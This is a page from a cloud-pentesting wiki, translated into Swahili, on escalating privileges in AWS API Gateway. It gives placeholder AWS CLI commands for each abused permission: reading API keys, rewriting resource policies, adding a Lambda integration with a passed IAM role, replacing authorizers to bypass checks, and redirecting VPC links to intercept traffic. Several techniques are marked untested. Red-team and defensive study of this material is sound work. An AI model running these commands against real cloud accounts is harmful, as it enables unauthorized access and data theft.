AWS - Apigateway Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Apigateway

Kwa maelezo zaidi angalia:

AWS - API Gateway Enum

apigateway:POST

Kwa ruhusa hii unaweza kuunda funguo za API za APIs zilizowekwa (kwa kila eneo).

bash
aws --region <region> apigateway create-api-key

Madhara Yanayoweza Kutokea: Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:GET

Kwa ruhusa hii unaweza kupata funguo za API zilizozalishwa za APIs zilizowekwa (kwa kila eneo).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Madhara Yanayoweza Kutokea: Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji ambao API gateway inaweza kuwa nao (kama kuanzisha lambda iliyo hatarini).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Madhara Yanayoweza Kutokea: Wewe, kwa kawaida, huwezi kupata privesc moja kwa moja kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Inahitaji kupimwa

Mshambuliaji mwenye ruhusa apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza uhusiano mpya kwa API Gateway REST API iliyopo kwa kutumia kazi ya Lambda ambayo ina jukumu la IAM lililounganishwa. Mshambuliaji anaweza kisha kuanzisha kazi ya Lambda kutekeleza msimbo wowote na kwa uwezekano kupata ufikiaji wa rasilimali zinazohusiana na jukumu la IAM.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la Lambda function.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Inahitaji kupimwa

Mshambuliaji mwenye ruhusa apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kubadilisha mthibitishaji wa API Gateway uliopo ili kupita ukaguzi wa usalama au kutekeleza msimbo wa kawaida wakati maombi ya API yanapofanywa.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kupita mchakato wa usalama, ufikiaji usioidhinishwa wa rasilimali za API.

note

Inahitaji kupimwa

Mshambuliaji mwenye ruhusa apigateway:UpdateVpcLink anaweza kubadilisha VPC Link iliyopo ili kuelekeza kwenye Balancer ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwa rasilimali zisizoidhinishwa au zenye uharibifu.

bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa rasilimali za API za kibinafsi, kukamata au kuingilia kati trafiki ya API.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks